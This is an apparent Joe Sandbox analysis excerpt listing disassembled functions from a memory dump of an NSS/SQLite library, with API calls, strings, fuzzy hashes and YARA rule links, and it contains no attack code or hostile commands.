Part of subcall function 6CE0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CE0CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CE1103E
EnterCriticalSection.KERNEL32(?), ref: 6CE11139
LeaveCriticalSection.KERNEL32(?), ref: 6CE11190
sqlite3_free.NSS3(00000000), ref: 6CE11227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CE1126E
sqlite3_free.NSS3(?), ref: 6CE1127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CE11267
winAccess, xrefs: 6CE1129B

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 394e5208ba3606e2c6f9fe578d775ba47b6705f71fc4690b6abd1cad557eeee1
Instruction ID: d456525b9452552e7ca141c1db933bbc911f3a04be0cb0f863cf1b56b0b56ef6
Opcode Fuzzy Hash: 394e5208ba3606e2c6f9fe578d775ba47b6705f71fc4690b6abd1cad557eeee1
Instruction Fuzzy Hash: 85711732F082119BEB449FB5DC85B6E7776FB97328F240629E91187E80DB30E911C792

Function 6CE1AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CF3CF46,?,6CE0CDBD,?,6CF3BF31,?,?,?,?,?,?,?), ref: 6CE1B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CF3CF46,?,6CE0CDBD,?,6CF3BF31), ref: 6CE1B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CF3CF46,?,6CE0CDBD,?,6CF3BF31), ref: 6CE1B0A2
CloseHandle.KERNEL32(?,?,6CF3CF46,?,6CE0CDBD,?,6CF3BF31,?,?,?,?,?,?,?,?,?), ref: 6CE1B100
sqlite3_free.NSS3(?,?,00000002,?,6CF3CF46,?,6CE0CDBD,?,6CF3BF31,?,?,?,?,?,?,?), ref: 6CE1B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CF3CF46,?,6CE0CDBD,?,6CF3BF31), ref: 6CE1B12D

Part of subcall function 6CE09EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE1C6FD,?,?,?,?,6CE6F965,00000000), ref: 6CE09F0E
Part of subcall function 6CE09EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CE6F965,00000000), ref: 6CE09F5D

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 8166ac5ad92e8c5f4b242fdec1fead80ef81322e9143bb696b129c16b2a3fe24
Instruction ID: b5335a7eca812b3fe0f3c718753a33c31533a318563fdf8a2adde5125ddb66a6
Opcode Fuzzy Hash: 8166ac5ad92e8c5f4b242fdec1fead80ef81322e9143bb696b129c16b2a3fe24
Instruction Fuzzy Hash: 7491C0B1E082058FDB54DF74C885B7AB7B2BF49308F25462DE41697B50EB30E865CB51

Function 6CEEBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CEEBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CEEBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CEEBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CEEBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CEEBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CEEBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CEEBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CEEBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CEEBE1E

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 65bd3d9d9eaf06f32eb8da46dab9f61b2e10bff7280f43df66c21eba15d80b23
Instruction ID: 7cf0bda97a11fcaa5da24598e3854d94bec3ae3619858e07aaf1795692c2a35c
Opcode Fuzzy Hash: 65bd3d9d9eaf06f32eb8da46dab9f61b2e10bff7280f43df66c21eba15d80b23
Instruction Fuzzy Hash: AD219377E0439D97FB004A96BC42B8B32789BD97CDF180118E916EE741E711941886AA

Function 6CF98D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFE14E4,6CF4CC70), ref: 6CF98D47
PR_GetCurrentThread.NSS3 ref: 6CF98D98

Part of subcall function 6CE70F00: PR_GetPageSize.NSS3(6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000,?,6CE0204A), ref: 6CE70F1B
Part of subcall function 6CE70F00: PR_NewLogModule.NSS3(clock,6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000,?,6CE0204A), ref: 6CE70F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CF98E7B
htons.WSOCK32(?), ref: 6CF98EDB
PR_GetCurrentThread.NSS3 ref: 6CF98F99
PR_GetCurrentThread.NSS3 ref: 6CF9910A

Strings

%u.%u.%u.%u, xrefs: 6CF98E74

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 144420754b70a34731440cd6effb575de2a302d37126ae9c8454d10eea5e0582
Instruction ID: 60ce360aa88e8c4a60d75348e6be8ace475b1c663145a11cb78b914c31b78ecc
Opcode Fuzzy Hash: 144420754b70a34731440cd6effb575de2a302d37126ae9c8454d10eea5e0582
Instruction Fuzzy Hash: 19028C319052518FEF18CF19C4647AABBB2EF42308F1B825ED8955BA91C735DA85C790

Function 6CE1EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

table, xrefs: 6CE1F05C, 6CE1FABC, 6CE1FAC7
sqlite_temp_master, xrefs: 6CE1F0A6, 6CE1F2D5
view, xrefs: 6CE1F061, 6CE1F071, 6CE1FAB7
not authorized, xrefs: 6CE1F957, 6CE1F9BA
sqlite_master, xrefs: 6CE1F0AB, 6CE1F2DA, 6CE1F757, 6CE1F93E
authorizer malfunction, xrefs: 6CE1F95C, 6CE1F9BF, 6CE1FA5E, 6CE1FA8B
there is already an index named %s, xrefs: 6CE1F9D7
%s %T already exists, xrefs: 6CE1FAC8
temporary table name must be unqualified, xrefs: 6CE1F734

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 96515878dfca8c6bd64ac206a73c28a3b48660b7acc705c4a089fd404ec79161
Instruction ID: 82d0cc4abf516fc181f76f9a274008b2740f33a8047d4529c0fe367a0df2f6d4
Opcode Fuzzy Hash: 96515878dfca8c6bd64ac206a73c28a3b48660b7acc705c4a089fd404ec79161
Instruction Fuzzy Hash: 0172B370E082058FDB14CF69C484BA9BBF1BF49318F2481ADD8159BB52D779E866CBD0

Function 6CF39C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CE0C52B), ref: 6CF39D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF3A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF3A114

Strings

database corruption, xrefs: 6CF3A029, 6CF3A108
%s at line %d of [%.10s], xrefs: 6CF3A02E, 6CF3A10D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF3A01F, 6CF3A0E4, 6CF3A0FE

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: ec7cb472db9451f66bfa8748c9c4295b5a54d8972ac3a7e61a012742b0c4a22e
Instruction ID: 1ada87107cb6ac10d09798d04f076b08e2e45840d30ede3e3ab2d634829f0b8e
Opcode Fuzzy Hash: ec7cb472db9451f66bfa8748c9c4295b5a54d8972ac3a7e61a012742b0c4a22e
Instruction Fuzzy Hash: 7E22CE7160C361AFCB04CF6AC49062BB7E1BF8A344F149A2DE8DE97641DB35D945CB82

Function 6CF59D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CE18637,?,?), ref: 6CF59E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CE18637), ref: 6CF59ED6

Strings

database corruption, xrefs: 6CF59ECA
%s at line %d of [%.10s], xrefs: 6CF59ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF59EC0

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: e6d1ade8527a063b393dcf8a9f3536644b5557f4c550b9469ba328e8e5d99983
Instruction ID: 7c149fddae5f849a17b86ce2c0e226e33bbc958d915038536a1361df20ae1c8f
Opcode Fuzzy Hash: e6d1ade8527a063b393dcf8a9f3536644b5557f4c550b9469ba328e8e5d99983
Instruction Fuzzy Hash: FF81CB71B011158FCB08CF6AC880ADEB7F6EF58304F558529DA15AB741DB31EE56CBA0

Function 6CF67F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CF681BC

Strings

BINARY, xrefs: 6CF68126
out of memory, xrefs: 6CF6835B

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 2cb1196e92adff6507fe91700029367b94fd1f7595b029185d59d01dc2530724
Instruction ID: a5bb1f24ecf465fd80e6a6983cf102ae677cd0da20d609f4c5d96ee1795ba17c
Opcode Fuzzy Hash: 2cb1196e92adff6507fe91700029367b94fd1f7595b029185d59d01dc2530724
Instruction Fuzzy Hash: F852C171E05218DFDB14CF9AC890B9EBBB1FF4A308F25815ED855ABB51D730A846CB90

Function 6CEE9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEE9ED6

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CEE9EE4

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEE9F38

Part of subcall function 6CEED030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CEE9F0B), ref: 6CEED03B
Part of subcall function 6CEED030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CEED04E
Part of subcall function 6CEED030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CEED07B
Part of subcall function 6CEED030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CEED08E
Part of subcall function 6CEED030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEED09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEE9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CEE9F59

Part of subcall function 6CEE9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CEE9C5B), ref: 6CEE9D82
Part of subcall function 6CEE9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CEE9C5B), ref: 6CEE9DA9
Part of subcall function 6CEE9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CEE9C5B), ref: 6CEE9DCE
Part of subcall function 6CEE9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CEE9C5B), ref: 6CEE9E43

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 2cef716ff3dd5a9d4f1ad4d3fd44f3a7b80bb2b47464fa9cd7b75be1ee860ac5
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 5E11D3B5F042015BF7109BA5AC01BAA76B5AF982CCF340138E80A8B741FB61EA59C291

Function 6CF9CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF9D086
PR_Malloc.NSS3(00000001), ref: 6CF9D0B9
PR_Free.NSS3(?), ref: 6CF9D138

Strings

>, xrefs: 6CF9CF5B

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 734c2723415ac51a7db1c140fda11979511ddb8a63dc4a00d35f54f95b3368cd
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 43D16D63B456460FFF14587C8CA13EA77A38782378F784329D5629BBE5E619C883C351

Function 6CF3AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2739c08947f5cae3ec09383a5d06e4ebaf017a6a1ac1313a41070ae1ae1ef3f
Instruction ID: 7f0f841d04562c1e751dbd82f236eaac00c590f9a677432471ee179242c2d4e1
Opcode Fuzzy Hash: b2739c08947f5cae3ec09383a5d06e4ebaf017a6a1ac1313a41070ae1ae1ef3f
Instruction Fuzzy Hash: 10F13371F112629FDF84CF69C8547AAB7F1AB8A308F15862DC909D7750EB30A981CBC1

Function 6CF2DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CE05001,?,00000003,00000000), ref: 6CF2DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CE05001,?), ref: 6CF2E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CE05001,?), ref: 6CF2E2DA

Strings

W, xrefs: 6CF2E111

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 5a9b23bedcdfc43a5b22df54e51b7f649d9b54521975128ea38535bdd04c02bf
Instruction ID: fb1380e86918ba3c96371c20cb500d02ab6de9fd33b4e3dc77c315a2f32ee29a
Opcode Fuzzy Hash: 5a9b23bedcdfc43a5b22df54e51b7f649d9b54521975128ea38535bdd04c02bf
Instruction Fuzzy Hash: B2C11832E052558BDB04CEB584907AA7BB1BF8630AF394179DCA99BB41D7399C02CBD1

Function 6CEF0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CEF1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CEF1086

Strings

h(l, xrefs: 6CEF1062, 6CEF105D, 6CEF0F37, 6CEF1081, 6CEF1082
h(l, xrefs: 6CEF0E55, 6CEF0EC4, 6CEF0F3A, 6CEF0FA7

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(l$h(l
API String ID: 1297977491-3413317348
Opcode ID: 91ecc14416b9f4f4945a376b9b44a36f552fa4597e9d881a1f8ba4daa5dc18b2
Instruction ID: cea579401bea313f9a029361706dd5252f3268ef15dfade82770d2b78232854e
Opcode Fuzzy Hash: 91ecc14416b9f4f4945a376b9b44a36f552fa4597e9d881a1f8ba4daa5dc18b2
Instruction Fuzzy Hash: F7A11D71F0125A9FDF08CF99C990AEEBBB6BF49314B248129E915A7700D735ED12CB90

Function 6CE16F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6CE17049
unordered*, xrefs: 6CE1702B
noskipscan*, xrefs: 6CE17067
*?[, xrefs: 6CE17034, 6CE17052, 6CE17070

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
